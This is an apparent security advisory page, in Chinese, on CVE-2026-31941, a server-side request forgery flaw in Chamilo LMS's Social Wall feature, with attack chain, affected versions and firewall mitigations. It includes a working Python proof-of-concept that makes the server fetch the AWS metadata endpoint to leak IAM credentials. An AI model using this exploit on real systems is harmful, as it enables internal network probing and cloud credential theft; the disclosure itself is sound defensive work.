IPBUF安全漏洞报告
English
CVE-2026-31941 CVSS 7.7 高危

CVE-2026-31941 Chamilo LMS SSRF漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-31941
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

SSRFChamilo LMS信息泄露高危漏洞内网扫描

漏洞概述

Chamilo LMS在学习管理系统Social Wall功能中存在服务端请求伪造(SSRF)漏洞。在1.11.38和2.0.0-RC.3之前的版本中,read_url_with_open_graph端点未对用户输入的URL进行充分验证。经过身份认证的攻击者可利用此漏洞,通过social_wall_new_msg_main参数构造恶意请求,诱导服务器向内网发起HTTP请求,从而扫描内部端口或访问云实例元数据,造成敏感信息泄露。

技术细节

该漏洞的核心原理在于Chamilo LMS在处理Social Wall功能时,未能对用户提供的URL地址进行有效的安全校验。具体而言,read_url_with_open_graph函数直接接收social_wall_new_msg_main参数中的URL,并利用服务器端资源向该目标发起HTTP请求以获取Open Graph数据。由于缺乏对内网IP地址(如127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)以及本地回环地址的过滤机制,且未对DNS解析结果进行二次校验,攻击者可以利用此缺陷进行SSRF攻击。利用方式通常包括构造指向内网敏感服务的恶意链接,例如云元数据服务(http://169.254.169.254)或内部管理后台。攻击者通过分析服务器响应的时间差异或内容,可以探测内网端口开放情况,甚至窃取云服务器的临时凭证,从而实现对内网环境的进一步渗透。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个Chamilo LMS的低权限账户。
STEP 2
2. 构造恶意请求
攻击者在Social Wall功能中,向`social_wall_new_msg_main`参数填入内网敏感地址(如127.0.0.1或云元数据地址)。
STEP 3
3. 服务端请求伪造
服务器端接收到请求后,调用`read_url_with_open_graph`函数,未经验证直接向攻击者指定的内网地址发起HTTP请求。
STEP 4
4. 信息回显与利用
攻击者根据服务器响应的内容或时间延迟,判断内网端口状态或获取云实例元数据敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_ssrf(target_url, attacker_cookie, internal_url): """ PoC for CVE-2026-31941 (Chamilo LMS SSRF) """ endpoint = f"{target_url}/main/social/social_wall.ajax.php" # The parameter vulnerable to SSRF payload = { "social_wall_new_msg_main": internal_url, "action": "add_message" } headers = { "Cookie": f"PHPSESSID={attacker_cookie}" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to internal target: {internal_url}") print(f"[+] Server Response Length: {len(response.text)}") # Check if response contains metadata or specific internal content if "ami-id" in response.text or "local-ipv4" in response.text: print("[!] Potential Cloud Metadata leaked!") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-chamilo-site.com" session_id = "valid_session_id_here" # Targeting AWS Metadata (common SSRF test) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, session_id, internal_target)

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS 2.0.0 < 2.0.0-RC.3

防御指南

临时缓解措施
如果无法立即升级,建议管理员通过服务器防火墙规则阻止Web服务器访问内网网段(如127.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)及云元数据地址(169.254.169.254)。同时,可以通过WAF(Web应用防火墙)拦截包含`social_wall_new_msg_main`参数且指向非信任域名的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表